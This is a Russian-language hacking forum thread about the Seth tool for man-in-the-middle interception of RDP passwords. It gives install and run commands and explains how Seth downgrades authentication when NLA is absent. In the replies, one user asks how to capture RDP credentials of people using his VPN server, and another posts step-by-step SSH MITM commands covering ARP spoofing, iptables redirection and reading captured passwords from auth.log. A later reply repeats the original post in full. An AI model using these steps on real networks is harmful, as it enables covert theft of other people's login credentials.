Статья Seth - MITM атака, перехват RDP паролей.

Всем привет! Сегодня рассмотрим одну из полезных утилит, на которую я натолкнулся не так давно, но благополучно о ней забыл. Собственно, Seth.

Инструмент позволяет, инициируя атаку типа – MITM, перехватить учетные данные, при вводе их на RDP сервер.

Для обеспечения большей безопасности для всех RDP подключений необходимо задействовать механизм аутентификации Network Level Authentication (NLA). NLA требует от пользователя авторизоваться на сервере RD Session Host еще до того, как сессия создана. Этот механизм позволяет защитить сервер от обработки лишних сессий, которые могут генерироваться злоумышленниками или программами-ботами. Для того, чтобы воспользоваться NLA, клиентская операционная система должна поддерживать протокол Credential Security Support Provider (CredSSP), что подразумевает ОС Windows XP SP3 и выше, а также клиента RDP 6.0 или выше.

Seth - пытается понизить уровень аутентификации, для того, чтобы перехватить пароль.

Установка:

> git clone https://github.com/SySS-Research/Seth

> cd Seth

> ls –a

Справка:

> ./seth.sh –h

Если RDP-хост находится в одной подсети с жертвой, последний параметр – адрес шлюза.

Зависимости:

· python3

· tcpdump

· arpspoof

· openssl

Запуск и использование:

> ./seth.sh eth1 192.168.57.{101,109,102}

Увы, но в моем случае Seth удалось перехватить хэш, так как на моем сервере включен NLA и сделать даунгрейд соединения не вышло. Но в целом довольно интересная вещь, возможно, скоро попробую ее на более стареньких серверах с клиентами, для чистоты эксперимента, так сказать.

На этом все, спасибо за внимание.

 

[debian2017]

Да тоже пару недель попалась в твитах эта утиль ..попробовал что то ни чего толком не вышло ну и собственно подзабил ) но большое спасибо за то что подсказали на счет шлюзов а то по видио автора вообще не догнал про посл диапазоны

 

[woolf1514]

· arpspoof

Зачем эта зависимость указана 2 раза?

 

[Vander]

Зачем эта зависимость указана 2 раза?

Очевидно, что это ошибка. Исправлено

 

[alexbosco]

Рассмотрим такой вариант.
1) сервак на юбунту на котором поднят впн сервер openvpn
2) юзер подключается через этот впн для выхода в интернет
3) затем уже через rdp-клиент на маке заходит на виндовый дедик, при поднятом впн (дедик не в одной сети с юзером)

Можно ли этим способом перехватить логин пароль и ip дедика к которому подключился юзер?
Как лучше перехватить эти данные.
ps Root доступ имеется к серваку в первом пункте

 

[Ondrik8]

До полню к теме SSH MITM атака

git clone https://github.com/jtesta/ssh-mitm.git
cd ssh-mitm
bash install.sh

1.) Run sshd:

cd /path/to/openssh-7.5p1-mitm
sudo $PWD/sshd -f $PWD/sshd_config

2.) Enable IP forwarding:

sudo bash -c "echo 1 > /proc/sys/net/ipv4/ip_forward"
sudo iptables -P FORWARD ACCEPT

3.) Allow connections to sshd and re-route forwarded SSH connections:

sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT
sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 22

4.) ARP spoof a target(s) (Protip: do NOT spoof all the things! Your puny network interface won't like be able to handle an entire network's traffic all at once. Only spoof a couple IPs at a time):

arpspoof -r -t 192.168.x.1 192.168.x.5

5.) Monitor auth.log. Intercepted passwords will appear here:

sudo tail -f /var/log/auth.log

6.) Once a session is established, a full log of all input & output can be found in /home/bogus/session_*.txt.

 

[pr0phet]

Всем привет! Сегодня рассмотрим одну из полезных утилит, на которую я натолкнулся не так давно, но благополучно о ней забыл. Собственно, Seth.

Посмотреть вложение 11922

Инструмент позволяет, инициируя атаку типа – MITM, перехватить учетные данные, при вводе их на RDP сервер.

Для обеспечения большей безопасности для всех RDP подключений необходимо задействовать механизм аутентификации Network Level Authentication (NLA). NLA требует от пользователя авторизоваться на сервере RD Session Host еще до того, как сессия создана. Этот механизм позволяет защитить сервер от обработки лишних сессий, которые могут генерироваться злоумышленниками или программами-ботами. Для того, чтобы воспользоваться NLA, клиентская операционная система должна поддерживать протокол Credential Security Support Provider (CredSSP), что подразумевает ОС Windows XP SP3 и выше, а также клиента RDP 6.0 или выше.

Seth - пытается понизить уровень аутентификации, для того, чтобы перехватить пароль.

Установка:

> git clone https://github.com/SySS-Research/Seth

Посмотреть вложение 11923

> cd Seth

> ls –a

Посмотреть вложение 11924

Справка:

> ./seth.sh –h

Посмотреть вложение 11925


Если RDP-хост находится в одной подсети с жертвой, последний параметр – адрес шлюза.

Зависимости:

· python3

· tcpdump

· arpspoof

· openssl

Запуск и использование:

> ./seth.sh eth1 192.168.57.{101,109,102}

Посмотреть вложение 11926

Увы, но в моем случае Seth удалось перехватить хэш, так как на моем сервере включен NLA и сделать даунгрейд соединения не вышло. Но в целом довольно интересная вещь, возможно, скоро попробую ее на более стареньких серверах с клиентами, для чистоты эксперимента, так сказать.

На этом все, спасибо за внимание.

Работает. Спасибо - как-то мимо меня этот софт прошел...

Можно ли его запустить на проходящем трафике в разрыв?